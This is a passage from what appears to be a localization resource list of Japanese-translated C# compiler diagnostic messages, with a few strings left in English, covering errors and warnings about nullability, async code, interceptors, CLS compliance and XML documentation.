の結果は、それを含んでいるメソッドの外部に公開される可能性があるため、このコンテキストでは使用できません + 汎用属性 + フィルター式は定数 'true' です。フィルターの削除を検討してください + 無効な型が TypeForwardedTo 属性の引数として指定されました + '{0}' またはオーバーライドされるメソッドは条件付き属性なので、この属性でデリゲートを作成できません + このコンテキストでの既定のリテラルの使用は無効です + 予期しないキーワード 'unchecked' + '{0}' に必要なメンバーの一覧の形式が正しくないため、解釈できません。 + 型 '{0}' を '{1}' に暗黙的に変換できません。明示的な変換が存在します (cast が不足していないかどうかを確認してください) + アナライザー {0} のインスタンスは {1} ({2}) から作成できません。 + 使用中のディレクティブは、以前この名前空間に使用されています + XML コメントに、解決できなかった cref 属性があります + System.Runtime.CompilerServices.TupleElementNamesAttribute' を明示的に参照できません。タプル構文を使用してタプル名を定義します。 + 無効な数字です + デリゲート '{0}' には引数 {1} を指定できません + '{0}' は継承抽象メンバー '{1}' を隠します + 型パラメーター '{0}' が重複しています + コレクション初期化子要素に最も適しているオーバーロード Add メソッドは古い形式です + 定数文字列の ReadOnly/Span<char> に一致するパターン + '{0}' に異なるチェックサム値が指定されています + '{0}': イベントはデリゲート型である必要があります + パラメーター '{0}' に適用された EnumeratorCancellationAttribute は効果がありません。この属性は、IAsyncEnumerable を返す非同期反復子メソッドの CancellationToken 型のパラメーターに対してのみ効果があります + yield の戻り値の後に式が必要です + /sourcelink スイッチは、PDB を生成する場合にのみサポートされます。 + 値における参照型の Null 許容性が、対象の型と一致しません。 + パラメーターの型における参照型の Null 許容性が、実装されるメンバーと一致しません。 + セキュリティ属性の最初の引数は有効な SecurityAction である必要があります + '{0}': extern イベントは初期化子を持つことができません + 'System.Runtime.CompilerServices.ScopedRefAttribute' を使用しないでください。キーワード 'scoped' を使用してください。 + コンテキスト キーワード 'var' は、範囲変数宣言では使用できません + /reference' の無効な extern エイリアスです。'{0}' は無効な識別子です + メンバーは継承されたメンバーを非表示にします。override キーワードがありません + FieldOffset 属性は、StructLayout(LayoutKind.Explicit) でマークされた型のメンバーでのみ使用できます + XML コメントで param タグが重複しています + 静的インターフェイス メンバーの変性の安全性 + 種類 + '{0}': スタティック型を型引数として使用することはできません + このコンテキストではスロー式は許可されていません。 + switch 式では、名前なしの列挙値を含む入力の種類の一部の値が処理されない (すべてを網羅していない)。 + パラメーター '{0}' に適用された CallerLineNumberAttribute は、省略可能な引数を許可しないコンテキストで使用されるメンバーに適用されるため無効となります + オーバーロード可能な 2 項演算子が必要です + 暗黙的に型指定された配列の最適な型が見つかりませんでした + この位置では空白は許可されていません。 + XML コメントが有効な言語要素の中にありません + stackalloc で負のサイズを使うことはできません + コマンドラインの構文エラー: オプション '{1}' の '{0}' がありません。 + ポインターおよび固定サイズ バッファーは、unsafe コンテキストでのみ使用することができます + 名前のない配列型のみが異なるオーバーロード メソッドは CLS に準拠していません + out パラメーターは、制御がメソッドを抜ける前に割り当てる必要があります + Win32 リソースのビルド中にエラーが発生しました -- {0} + 定義宣言だけを含む部分メソッドまたは削除された条件付きメソッドは、式ツリーで使用できません + タプル要素名 '{0}' と推測されます。推測される名前で要素にアクセスするには、言語バージョン {1} 以上をお使いください。 + 予期しない参照比較です。比較値を取得するには型 '{0}' に右辺をキャストしてください + XML コメントで typeparam タグが重複しています + 未割り当てのローカル変数 '{0}' が使用されました + 型とエイリアスに 'file' という名前を付けることはできません。 + CallerArgumentExpressionAttribute は、、CallerLineNumberAttribute によってオーバーライドされるため無効となります + アセンブリ '{0}' (ID '{1}') は、参照されているアセンブリ '{3}' (ID '{4}') より新しいバージョンを含む '{2}' を使用します + これは、ref パラメーター経由で参照渡し '{0}' でパラメーターを返しますが、安全に返すことができるのは return ステートメント内のみです + 非ジェネリック {1} '{0}' は型引数と一緒には使用できません + 構造体フィールド初期化子 + アセンブリ名 '{0}' は予約されており、対話形式のセッションで参照として使用することはできません + "UnmanagedCallersOnly" の属性が設定されたメソッドのシグネチャでは、"ref"、"in"、または "out" を使用できません。 + 型は演算子 == または演算子 != を定義しますが、Object.Equals(object o) をオーバーライドしません + 匿名メソッド、ラムダ式、クエリ式、またはローカル関数内で ref に似た型を持つパラメーター '{0}' を使用することはできません + '{0}': オーバーライドされたメンバー '{1}' に対応するために、型は '{2}' でなければなりません + Bitwise-or 演算子が sign-extended オペランドで使用されています。まず、小さい符号なしの型をキャストしてみてください + フィルター式は定数 'false' です + fixed でない式に含まれる固定サイズ バッファーは使用できません。fixed ステートメントを使用してください。 + 式のアドレスを取得できません + 式ツリーに '{0}' を含めることはできません + DefaultParameterAttribute または OptionalAttribute と共に既定パラメーター値を指定することはできません + 型 '{2}' を、ジェネリック型またはメソッド '{0}' 内で型パラメーター '{1}' として使用することはできません。型引数 '{2}' の Null 許容性が 'class' 制約と一致しません。 + {1} out パラメーターと void 戻り値の型を持つ、型 '{0}' の適切な分解インスタンスまたは拡張メソッドが見つかりませんでした。 + '{0}' が複数回、明示的に実装されています。 + 拡張メソッドは、非ジェネリック静的クラスで定義される必要があります + Attribute parameter 'SizeConst' must be specified. + '{0}' の型は '{1}' です。文字列以外の参照型の const フィールドは null でのみ初期化できます。 + '{0}' は関数ポインターの有効な呼び出し規則指定子ではありません。 + 戻り値の型における参照型の Null 許容性が、実装されるメンバー '{0}' と一致しません。 + new()' 制約は 'struct' 制約と一緒には使用できません + __arglist は、非同期メソッドのパラメーター リストに含めることはできません + インターセプトできません。コンパイルにパス '{0}' のファイルが含まれていません。 + 優先順位の理由から、こちらで演算子 '{0}' は使用できません。かっこを使用して明確にしてください。 + 終了時にパラメーターには null 以外の値が含まれている必要があります。 + System.Runtime.CompilerServices.ExtensionAttribute' を使用しないでください。キーワード 'this' を使用してください。 + 必要なメンバー + add または remove アクセサーが必要です + コントロールを匿名メソッドまたはラムダ式の本体外に出すことはできません + 旧形式のメンバーが、旧形式でないメンバーをオーバーライドします + '{1}' が 'SignatureCallingConvention.Unmanaged' でない限り、'{0}' を渡すことは無効です。 + クラス型制約 '{0}' は、他の制約の前に指定されなければなりません + 割り当てられていない可能性のある自動実装プロパティ '{0}' の使用 + アナライザー アセンブリ '{0}' は、コンパイラのバージョン '{1}' を参照しています。これは、現在実行中のバージョン '{2}' よりも新しいバージョンです。 + '{0}' は、オーバーライドされるメンバー '{1}' の参照渡しの戻り値に一致する必要があります + CallerFilePathAttribute は効果がなく、CallerLineNumberAttribute によってオーバーライドされます + 拡張メソッドのグループは、'nameof' の引数として許可されていません。 + 参照を使用して値渡し変数を初期化することはできません + 非同期反復子メソッドの本体には 'yield' ステートメントを含める必要があります。メソッド宣言から 'async' を削除するか、'yield' ステートメントを追加することをご検討ください。 + '{0}' に '{1}' の定義が含まれておらず、型 '{0}' の最初の引数を受け付けるアクセス可能な拡張メソッド '{1}' が見つかりませんでした。using ディレクティブまたはアセンブリ参照が不足していないことを確認してください + {1} '{0}' は型引数と一緒には使用できません + 間接的に変数が宣言のスコープ外に公開される可能性があるため、このコンテキストで式は使用できません + パラメーターから補間された文字列ハンドラーへの変換は、ハンドラー パラメーターの後に発生します + 部分メソッドには、複数の定義宣言を指定することはできません + パラメーター '{0}' に適用された CallerArgumentExpressionAttribute は、無効なパラメーター名で適用されているため無効となります + アセンブリ参照 '{0}' は無効であり、解決できません + これは、ターゲットより狭いエスケープ スコープを持つ値を ref 割り当てします。 + 静的クラスにはコンストラクターを指定できません + 'await' では、型 {0} に適切な GetAwaiter メソッドがあることが必要です + パラメーター '{1}' によって参照される変数が宣言のスコープ外に公開される可能性があるため、このコンテキストで '{0}' の結果のメンバーを使用することはできません + 暗黙的に型指定されたラムダパラメーター '{0}' に既定値を指定することはできません。 + 型 '{1}' は、'{0}' と呼ばれるメンバーを同じパラメーターの型で既に予約しています + 'set' アクセサーがあるため、自動実装プロパティ '{0}' を 'readonly' とマークすることはできません。 + 引数型は CLS に準拠していません + 認識できないエスケープ シーケンスです + パラメーターには XML コメント内に対応する param タグがありませんが、他のパラメーターにはあります + switch 式が一部の null 入力を処理しません。 + 継承インターフェイス '{1}' により、'{0}' のインターフェイス階層内で循環参照が発生します + 型名または名前空間名 '{0}' がグローバル名前空間に見つかりませんでした (アセンブリ参照が存在することを確認してください) + 通常のメンバー メソッドの呼び出しではないため、'{0}' をインターセプトできません。 + catch 句のフィルター式を待機することはできません + 配列型を割り当てるには配列初期化子式だけを使用してください。new 式を使用してください。 + Null リテラルまたは Null の可能性がある値を Null 非許容型に変換しています。 + 暗黙的に型指定された変数は初期化される必要があります + 型パラメーターの宣言は型ではなく識別子でなければなりません + プライマリ コンストラクター + コントロールを呼び出し元に返す前に、自動実装プロパティ '{0}' を完全に割り当てる必要があります。プロパティを自動既定値にするため '{1}' 言語バージョンに更新することを検討してください。 + '{0}': 新規のプロテクト メンバーが構造体で宣言されました + '{0}': 静的クラスにプロテクト メンバーを含めることはできません + 'this' オブジェクトは、すべてのフィールドが割り当てられる前に読み取られます。これにより、明示的に割り当てられていないフィールドに対する 'default' の暗黙的な割り当てが先行しています。 + '{0}': 静的クラスでインスタンスのメンバーを宣言することはできません + フィールドが明示的に割り当てられる前に自動実装プロパティが呼び出し元に返され、先行する暗黙的な代入が 'default' になります。 + 実行可能ファイルをサテライト アセンブリにできません。カルチャは常に空でなければなりません + メソッドには、実装された、またはオーバーライドされたメンバーと一致する '[DoesNotReturn]' 注釈がありません。 + キーワード 'base' の使用はこのコンテキストでは有効ではありません + 型 '{0}' は、参照されていないアセンブリに定義されています。アセンブリ '{1}' に参照を追加する必要があります。 + '{0}' はインターフェイス メンバー '{1}' にないアクセサーを追加します + 認識されないオプション:'{0}' + 非同期メソッドは、'SecurityCritical' または 'SecuritySafeCritical' 属性を持つインターフェイス、クラス、または構造体では許可されていません。 + 型 '{0}' を型 '{1}' に変換する標準変換が存在しないため、CallerArgumentExpressionAttribute を適用することはできません + 演算子 'is' または 'as' の最初のオペランドを、ラムダ式、匿名メソッド、またはメソッドのグループにすることはできません。 + 配列のアクセスには名前付き引数の指定子を指定できません + メソッドのグループを動的ディスパッチされる操作の引数として使用することはできません。このメソッドを呼び出しますか? + 範囲演算子 + 読み取り専用フィールドを ref 値または out 値として使用することはできません (コンストラクターでは可) + コンパイル内の複数のファイルにこのパスがあるため、パス '{0}' を持つファイル内の呼び出しをインターセプトできません。 + 複数の変数宣言子を含んでいる可能性がある宣言ノードに対して GetDeclarationName を呼び出しました。 + このエラーは、ジャグ配列を受け取るオーバーロード メソッドがあり、かつメソッドのシグネチャの唯一の違いが配列の要素型である場合に発生します。このエラーを回避するには、ジャグ配列ではなく四角形配列の使用を検討するか、追加のパラメーターを使用して関数呼び出しを明確にするか、1 つ以上のオーバーロードされたメソッドの名前を変更するか、または、CLS 準拠が不要の場合は CLSCompliantAttribute 属性を削除します。 + 入力型の可能な値の一部が switch 式で処理されません (すべてが網羅されてはいません)。たとえば、パターン '{0}' がカバーされていません。ただし、'when' 句を含むパターンがこの値と一致する可能性があります。 + メソッド '{0}' のシグネチャにあるタプル要素名は、インターフェイス メソッド '{1}' のタプル要素名と (戻り値の型を含めて) 一致している必要があります。 + 'this' オブジェクトは、すべてのフィールドが割り当てられる前に読み取られます。これにより、明示的に割り当てられていないフィールドに対する 'default' の暗黙的な割り当てが先行しています。 + これは、現在のメソッドに範囲指定されているパラメーター '{0}' のメンバーを参照渡しで返します + '{0}' 属性が '{1}' で重複しています + 非同期関数 + 無効なデバッグ情報の形式: {0} + goto は同じブロック内の using 宣言より前の位置にはジャンプできません。 + アクセサー '{0}' と '{1}' は、両方 init 専用か、両方そうでないかのいずれかでなければなりません + 非同期メソッドにポインター型パラメーターを指定することはできません + 'else' でステートメントを開始することはできません。 + メンバーは古い形式のメンバーをオーバーライドします + {0} に割り当てることができません。'{1}' は読み取り専用変数であるため、ref 割り当ての右辺として使用することはできません。 + 型を参照するためにパターンに構文 'var' を使用することは許可されていませんが、ここでは '{0}' がスコープ内にあります。 + 非同期メソッドは参照渡しのローカル変数を持つことができません + Argument {0} should be passed with the 'in' keyword + notnull ジェネリック型の制約 + 自動実装プロパティのみが初期化子を持つことができます。 + フィールド初期化子を持つ 'struct' には、明示的に宣言されたコンストラクターを含める必要があります。 + 同じ短いファイル名を使用している長いファイル名が既に存在するとき、短いファイル名 '{0}' を作成することはできません + ++ または -- 演算子のパラメーター型は、それを含む型であるか、それに制約された型パラメーターである必要があります。 + ファイル ローカル型 '{0}' は、最上位レベルの型で定義する必要があります。'{0}' は入れ子にされた型です。 + 属性 '{0}' はイベント アクセサーでは無効です。'{1}' 宣言でのみ有効です。 + #warning: '{0}' + 静的なメンバーを '{0}' とマークすることはできません。 + プロパティまたはインデクサー '{0}' とそのアクセサーの両方で 'readonly' 修飾子を指定することはできません。いずれかを削除してください。 + 明示的に割り当てられる前にフィールドが読み取られ、先行する暗黙的な代入が 'default' になります。 + 指定された行番号と文字番号は、インターセプト可能なメソッド名ではなく、トークン '{0}' を参照しています。 + 代入式の左辺には変数、プロパティ、またはインデクサーを指定してください + ターゲットのランタイムはインライン配列型をサポートしていません。 + override 型のメンバー '{0}' を、new または virtual にすることはできません + 部分メソッド宣言 '{0}' および '{1}' は、どちらも同じタプル要素名を使用する必要があります。 + '{1}' のパラメーター '{0}' の型における参照型の NULL 値の許容が、暗黙的に実装されるメンバー '{2}' と一致しません。おそらく、NULL 値の許容の属性が原因です。 + 構造体メンバーは 'this' または他のインスタンス メンバーを参照渡しで返すことができません + '{0}': 値を返さないコード パスがあります + パラメーター '{1}' によって参照される変数が宣言のスコープ外に公開される可能性があるため、このコンテキストで '{0}' の結果を使用することはできません + この switch 式では入力型の可能な値がすべて扱われるわけではありません (すべてが網羅されているわけではありません)。たとえば、パターン '{0}' がカバーされていません。 + 型 '{0}' は、'{1}' の入れ子にされた型なので、転送できません + 単一行コメントか行末が必要です + 制約を動的な型にすることはできません + out パラメーター '{0}' はコントロールが現在のメソッドを抜ける前に割り当てられる必要があります + 前処理シンボルの名前が無効です。有効な識別子ではありません + l' と 数字の '1' との混同を避けるため、'L' を使用してください + '明示的インターフェイス宣言の中の '{0}' はインターフェイスではありません + 配列アクセス + 'with' 式のレシーバーは、void でない型でなければなりません。 + '{0}': '{1}' はこの言語でサポートされていないため、オーバーライドできません + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + init 専用プロパティまたはインデクサー '{0}' を割り当てることができるのは、オブジェクト初期化子の中か、インスタンス コンストラクターまたは 'init' アクセサーの 'this' か 'base' 上のみです。 + メソッド グループ '{0}' をデリゲート型 '{1}' に変換することはできません。(&M) + パラメーター修飾子 '{0}' は '{1}' と一緒に使用することはできません + 'System.Runtime.CompilerServices.ITuple' を使用してパターン マッチングを行う場合、要素名を使用することはできません。 + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + '{1}' を '{0}' に参照割り当てできません。'{1}' には '{0}' よりも広い値エスケープ スコープがあり、'{0}' を使用して '{1}' より狭いエスケープ スコープを持つ値の割り当てが許可されています。 + 型 '{0}' には基底インターフェイスからのメンバーの再抽象化があるため、この型を埋め込むことはできません。'相互運用型の埋め込み' プロパティを false に設定することをご検討ください。 + 実行不可能なメンバー '{0}' をメソッドのように使用することはできません。 + ref または out 値は、割り当て可能な変数でなければなりません + 型の修飾子を最小にするため、SyntaxTreeSemanticModel を指定する必要があります。 + CallerArgumentExpressionAttribute は効果がなく、CallerMemberNameAttribute によってオーバーライドされます + ジェネレーターを初期化できませんでした。 + 型 '{0}' は、追加されていないモジュールに定義されています。モジュール '{1}' を追加する必要があります。 + ':' は文字列補間を終了させるため、条件式を文字列補間で直接使用することはできません。条件式をかっこで囲んでください。 + '{0}' の名前空間 '{1}' が '{2}' の型 '{3}' と競合しています + '{0}': 静的コンストラクターにパラメーターがあってはなりません + out パラメーターに in 属性を指定することはできません + 'in' 修飾子を持つ引数を、動的ディスパッチされる式で使用することはできません。 + メソッド グループ + 非同期反復子 '{0}' には型 'CancellationToken' の 1 つ以上のパラメーターがありますが、'EnumeratorCancellation' 属性で修飾されているパラメーターはありません。そのため、生成された 'IAsyncEnumerable<>.GetAsyncEnumerator' からの取り消しトークン パラメーターは使用されません + MemberNotNull 属性 + フィールドは割り当てられません。常に既定値を使用します + メソッド '{0}' には、最初のパラメーターではないパラメーター修飾子 'this' が指定されています + ASCII 以外の引用符は、文字列リテラルを囲むために使用できません。 + base' 参照には基底クラスが必要です + 不適切なプリプロセッサ ディレクティブです + null の可能性がある値をボックス化解除しています。 + 型 '{2}' を、ジェネリック型またはメソッド '{0}' 内で型パラメーター '{1}' として使用することはできません。型引数 '{2}' の Null 許容性が 'notnull' 制約と一致しません。 + '{0}' はこのアセンブリの外から認識できないため、CLS 準拠の確認は実行されません + '{0}' の using ディレクティブは、以前に global using として使用されています + '{0}': '{1}' はプロパティではないためオーバーライドできません + 種類 '{0}' の式は、C# {2} で種類 '{1}' のパターンによって処理することができません。言語バージョン {3} 以上をお使いください。 + 変数 '{0}' は割り当てられていますが、その値は使用されていません + 演算子 '{0}' は、参照型として認識されていない型パラメーターであるため、型 '{1}' の 'default' およびオペランドに適用できません + '#nullable' 注釈コンテキスト内のコードでのみ、Null 許容参照型の注釈を使用する必要があります。 + タプル要素名 '{0}' は位置 {1} でのみ使用できます。 + 複数の保護修飾子があります + XML コメントの cref 属性 '{0}' の構文が正しくありません + アナライザー アセンブリが参照しるコンパイラのバージョンは、現在実行中のバージョンよりも新しいです。 + '{0}' はこの言語でサポートされていません + XML コメントに paramref タグが存在しますが、その名前に相当するパラメーターはありません + await' 演算子は、非同期メソッド内でのみ使用できます。このメソッドに 'async' 修飾子を指定し、戻り値の型を 'Task' に変更することを検討してください。 + インスタンス メンバー内のプライマリ コンストラクター パラメーター '{0}' では ref、out、in を使用できません + '{0}' を更新できません。属性 '{1}' がありません。 + 符号なし右シフト + トップレベルのステートメントを含むコンパイル ユニットがある場合、/main を指定することはできません。 + 読み取り専用型のプライマリ コンストラクター パラメーターは、ref または out 値として使用できません (型または変数初期化子の init 専用セッターを除く)。 + CallerArgumentExpressionAttribute は、、CallerFilePathAttribute によってオーバーライドされるため無効となります + '{0}': 新規の protected メンバーが sealed 型で宣言されました + コントロールはひとつの case ラベル ('{0}') から別のラベルへ流れ落ちることはできません + {0} はデリゲート型ではないため、'{1}' 型に変換できません + ステートメント本体を含むラムダ式は、式ツリーに変換できません + メソッド '{0}' は、型パラメーター '{1}' に対して 'default' 制約を指定していますが、オーバーライドされた、または明示的に実装されたメソッド '{3}' の対応する型パラメーター '{2}' は、参照型または値の型に制約されています。 + パラメーターの 'scoped' 修飾子が、オーバーライドされたメンバーまたは実装されたメンバーと一致しません。 + 分解で宣言と式が混在しています + Microsoft (R) Visual C# Compiler + 行に、生文字列リテラルの終了行とは異なる空白が含まれています: '{0}'と'{1}' + 参照の変換、ボックス変換、アンボックス変換、折り返しの変換、または null 型の変換で、型 '{0}' を '{1}' に変換できません + '{0}' は、評価の目的でのみ提供されています。将来の更新で変更または削除されることがあります。 + ポインターのインデックスを複数指定しないでください + '{0}' に CollectionBuilderAttribute がありますが、要素型がありません。 + このコンテキストでの関数ポインター型の使用はサポートされていません。 + 無効な警告番号です + 部分メソッド宣言は、両方とも readonly であるか、両方とも readonly でないかのいずれかである必要があります + byref ローカル変数と返却 + パラメーター '{0}' に適用された CallerArgumentExpressionAttribute は自己参照であるため、無効となります。 + 動的な型の引数をローカル 関数 '{1}' の params パラメーター '{0}' に渡すことはできません。 + 埋め込み相互運用メソッド '{0}' には本体が含まれます。 + コレクション初期化子要素に最も適しているオーバーロード Add メソッド '{0}' は、古い形式です。 + ダイナミック + 宣言する前にローカル変数 '{0}' を使用できません。このローカル変数の宣言は、フィールド '{1}' を非表示にします。 + タプル要素名は、タプルの == または != 演算子の反対側に異なる名前が指定されたか名前が指定されていないため、無視されます。 + 型 '{0}' のインライン配列の foreach ステートメントはサポートされていません + 終了時にメンバーには null 以外の値が含まれている必要があります。 + インデックスがインライン配列の範囲外です + ファイルの最初のトークンの後でプリプロセッサのシンボルの定義または定義の解除を行えませんでした + コンパイル オプション '{0}' と '{1}' の両方を同時に指定することはできません。 + トップレベルのステートメント + CallerMemberNameAttribute は、オプションの引数を許可していないコンテキストで使用されるメンバーに適用されるため、効果がありません + この操作はチェック モードでコンパイルしたときにオーバーフローします + 名前空間のエイリアス修飾子 + 引数なしの throw ステートメントは catch 句以外では使えません + パターン マッチには使用できないオペランドです。値が必要ですが、'{0}' が見つかりました。 + '{0}' は ref 構造体であるため、非同期または反復子のメソッド内で型 '{0}' の列挙子に対して foreach ステートメントは機能しません。 + パラメーターが未読のため、この名前のプロパティを初期化するために使用していることを確認する必要がある + 定数値 '{0}' は実行時に '{1}' をオーバーフローする可能性があります (オーバーライドするには 'unchecked' 構文を使用してください) + イベント '{0}' は使用されていません + XML コメントが有効な言語要素の中にありません + XML ドキュメント ファイル {0} の書き込み中にエラーが発生しました + ジェネリック + '{0}' インターフェイスは、'CoClassAttribute' でマークされていますが、'ComImportAttribute' ではマークされていません + '{0}' は '{1}' であるため、そのフィールドを ref 値または out 値として使用することはできません + 割り当てられていない可能性のある自動実装プロパティ '{0}' の使用 + フィールド '{0}' は使用されていません + このラベルは参照されていません + '{0}' 属性引数の名前が重複しています + 型 '{0}' の変数を参照できません + await' 演算子は、'async' 修飾子が指定されているメソッドまたはラムダ式に含まれている場合にのみ使用できます + 式のツリーは、タプル リテラルを含むことはできません。 + 同じ変数と比較されました + 関数ポインターを名前付き引数で呼び出すことはできません。 + オブジェクトとコレクションの初期化子式は、デリゲートの作成式には適用できません + XML コメントで '{0}' の typeparam タグが重複しています + '{0}': 派生型との間におけるユーザー定義の変換は許可されていません + オブジェクトまたはコレクション初期化子が、null の可能性があるメンバーを暗黙的に逆参照しています。 + 型はインターフェイス メンバーを実装しません。基本型で実装されているインターフェイス内の参照型の Null 許容性が一致しません。 + '{0}' は有効な形式指定子ではありません + 'await' は、ref 条件演算子を含む式の中で使用できません + パラメーター '{0}' は未読です。この名前のプロパティを初期化するために使用していることを確認してください。 + 非同期反復子メンバーには型 'CancellationToken' の 1 つ以上のパラメーターがありますが、'EnumeratorCancellation' 属性で修飾されているパラメーターはありません。そのため、生成された 'IAsyncEnumerable<>.GetAsyncEnumerator' からの取り消しトークン パラメーターは使用されません + 同じ簡易名 '{0}' でアセンブリが既にインポートされています。参照の 1 つ (例: '{1}') を削除するか、サイド バイ サイドを有効にするために署名してください。 + await' 演算子は、静的なスクリプト変数初期化子では使用できません。 + メソッド '{1}' が ref と out のみ異なるオーバーロードを含むようになるため、指定された型パラメーターではインターフェイス '{0}' を継承できません + 名前 '{0}' は 'equals' の左辺のスコープにありません。'equals' の両辺の式を交換してみてください。 + 型 '{0}' を型 '{1}' に変換する標準変換が存在しないため、CallerFilePathAttribute を適用することはできません + 大文字、小文字の違いのみの識別子 '{0}' は CLS に準拠していません + null リテラルを null 非許容参照型に変換できません。 + アクセシビリティに一貫性がありません。プロパティ型 '{1}' のアクセシビリティはプロパティ '{0}' よりも低く設定されています + null は有効なパラメーター名ではありません。インスタンス メソッドのレシーバーへのアクセスを取得するには、パラメーター名として空の文字列を使用します。 + Win32 リソース ファイル '{0}' を開く際にエラーが発生しました -- '{1}' + 書式指定子が空です。 + 戻り値の型の NULL 値の許容が、オーバーライドされたメンバーと一致しません。おそらく、NULL 値の許容の属性が原因です。 + 符号拡張されたオペランドでビットごとの or 演算子が使用されました + この型の値が 'null' に等しくなることはないので、式の結果は常に同じです + '{1}' のフィールド '{0}' で透過識別子のメンバーのアクセスに失敗しました。クエリされているデータはクエリ パターンを実装しますか? + delegate ジェネリック型の制約 + パラメーターの型における参照型の NULL 値の許容が、実装されるメンバーと一致しません。おそらく、NULL 値の許容の属性が原因です。 + 'INumberBase<T>' を継承または拡張しているため、'{0}' で数値定数またはリレーショナル パターンを使用することはできません。指定された数値型に絞り込むために、型パターンを使用することを検討してください。 + 型 '{0}' を型 '{1}' に変換する標準変換が存在しないため、CallerLineNumberAttribute を適用することはできません + 'このコンテキストでは 'extern エイリアス' は無効です + 基本データ型 '{0}' に必要なメンバーの一覧の形式が正しくないため、解釈できません。このコンストラクターを使用するには、'SetsRequiredMembers' 属性を適用してください。 + すべてのフィールドが割り当てられる前に、'this' オブジェクトをコンストラクターで使用することはできません。割り当てられていないフィールドを自動既定値にするため言語バージョンを更新することを検討してください。 + 条件演算子の両辺の値は、両方とも ref 値にするか、両方とも ref 以外の値にする必要があります + new() はこのコンテキストでは使用できません + 型 '{0}' は入れ子型であるため埋め込むことができません。'相互運用機能型の埋め込み' プロパティを false に設定することを検討してください。 + アセンブリの CLSCompliant 属性と異なるモジュールの CLSCompliant 属性は指定できません + 戻り値の型における参照型の Null 許容性が、インターセプト可能なメソッドと一致しません。 + 必要なメンバー '{0}' は、オブジェクト初期化子または属性コンストラクターに設定する必要があります。 + インライン配列インデクサーは要素アクセス式には使用されません。 + {0}。エラー CS{1} を参照してください。 + 無効な基本型です + 必要なメンバー '{0}' の表示を減らす、また含まれる型の '{1}' より小さいセッターの表示を設定することはできません。 + 型名 '{0}' が型 '{1}' に存在しません + 次のインクルード タグで一致する要素が見つかりませんでした + 機能 '{0}' は試験段階であり、サポートされていません。有効にするには '/features:{1}' をご使用ください。 + 明示的に割り当てられる前に自動実装プロパティが読み取られ、先行する暗黙的な代入が 'default' になります。 + 型は Object.Equals(object o) をオーバーライドしますが、Object.GetHashCode() をオーバーライドしません + 非同期ストリーム + goto case' 値はスイッチ型に暗黙的に変換できません + /doc コンパイラ オプションが指定されましたが、1 つ以上のコンストラクトにコメントがありませんでした。 + '{0}': 継承されたメンバー '{1}' は virtual、abstract または override に設定されていないためオーバーライドできません + パラメーター名 '{0}' が重複しています + '{0}': アクセス修飾子は静的コンストラクターでは許可されていません + 'System.Runtime.CompilerServices.RequiredMemberAttribute' を使用しないでください。代わりに、必須フィールドとプロパティに 'required' キーワードを使用してください。 + バインドされていないジェネリック名の予期しない使用方法です + 'in' パラメーターに対応する引数の 'ref' 修飾子は 'in' と同じです。代わりに 'in' を使用することを検討してください。 + アクセサー '{0}' は、インターフェイス メンバー '{1}' を型 '{2}' に対して実装できません。明示的なインターフェイスの実装を使用してください。 + 部分メソッド宣言は、両方とも拡張メソッドであるか、両方とも拡張メソッドでないかのいずれかである必要があります + catch または finally が必要です + new 式は、型の後に引数リストか、丸かっこ ()、角かっこ []、または波かっこ {} を必要とします + 変数は宣言されていますが、使用されていません + '{0}' は、認識されない RefSafetyRulesAttribute バージョンを持つモジュールで定義され、'11' が必要です。 + ファイルの終わりが見つかりました。'*/' が必要です + コンパイル {1} から '{0}' 型のコンパイルを参照できません。 + 'ref readonly' パラメーターに既定値が指定されていますが、'ref readonly' は参照にのみ使用する必要があります。パラメーターを 'in' として宣言することを検討してください。 + '{0}' は継承されたメンバー '{1}' を非表示にします。現在のメンバーでその実装をオーバーライドするには、override キーワードを追加してください。オーバーライドしない場合は、new キーワードを追加してください。 + '{0}' は、インターフェイス メンバー '{1}' を実装していません。'{2}' は public ではないため、インターフェイス メンバーを実装できません。 + ファイル ローカル型 '{0}' は、ファイル ローカル型 '{1}' 以外のメンバーの署名として使用できません。 + インターフェイス '{0}' は型引数として使用できません。静的メンバー '{1}' は、インターフェイスに最も限定的な実装がありません。 + {0} の SemanticModel が必要です。 + ref 条件式 + 既定の演算子 + 型 'void' の値を割り当てることはできません。 + 既定のリテラル + '{0}' は、インターフェイス メンバー '{1}' を実装していません。'{2}' は '{1}' を実装できません。 + 種類 '{0}' の式は、種類 '{1}' のパターンで処理することができません。 + すべてのフィールドが割り当てられる前に、'this' オブジェクトを使用することはできません。割り当てられていないフィールドを自動既定値にするため '{0}' 言語バージョンに更新することを検討してください。 + 競合するオプションが指定されました: Win32 リソース ファイル、Win32 アイコン + 公開署名が指定されると、属性は無視されます。 + 型名 '{0}' は、コンパイラによる使用のために予約されています。 + 明示的なインターフェイス指定子内の参照型の Null 許容性が、型によって実装されているインターフェイスと一致しません。 + アプリケーションのエントリ ポイントに 'UnmanagedCallersOnly' 属性を設定することはできません。 + 名前 '{0}' は 'equals' の右辺のスコープにありません。'equals' の両辺の式を交換してみてください。 + '{0}': 継承されたメンバー '{1}' を上書きするときにタプル要素名を変更することはできません + プログラムで使うユーザー文字列の長さの合計が許可されている制限を超えています。文字列リテラルの使用を減らしてください。 + { が必要です + l' という接尾辞は、数字の '1' と混同されることがあります + この位置には予期しない文字です。 + タグ '{0}' を閉じるには、'>' または '/>' が必要です。 + スローされた値が null である可能性があります。 + 型パラメーターには、対応する typeparam タグが XML コメントにありませんが、他の型パラメーターにはあります + 警告アクション enable + global::' はエイリアスではなく常にグローバル名前空間を参照するため、'global' という名前のエイリアスを定義することはお勧めしません + パラメーター '{0}' に適用された CallerMemberNameAttribute は、省略可能な引数を許可しないコンテキストで使用されるメンバーに適用されるため無効となります + 属性コンストラクターのパラメーター '{0}' には型 '{1}' がありますが、これは無効な属性パラメーター型です + 無効な変性修飾子です。バリアントとして指定できるのは、インターフェイスおよびデリゲートの型パラメーターだけです。 + 一部の条件で終了するとき、パラメーターには null 以外の値が含まれている必要があります。 + リレーショナル パターンは、'{0}' 型の値に使用することはできません。 + シールされた ' Object. ToString ' を含むレコードからの継承は、C# {0} ではサポートされていません。' {1} ' 以上の言語バージョンを使用してください。 + ref、out、または配列のランクのみが異なるオーバーロード メソッドは、CLS に準拠していません + '{0}': volatile フィールドの型を '{1}' にすることはできません + stackalloc の式は型の後に角かっこ [] が必要です + 匿名型のメンバー宣言子が無効です。メンバー代入、簡易名、またはメンバー アクセスを使用して、匿名型メンバーを宣言する必要があります。 + タプルに型 'void' の値を含めることはできません。 + ref パラメーターで Out 属性を指定するには、In 属性も指定する必要があります。 + ソース ファイル 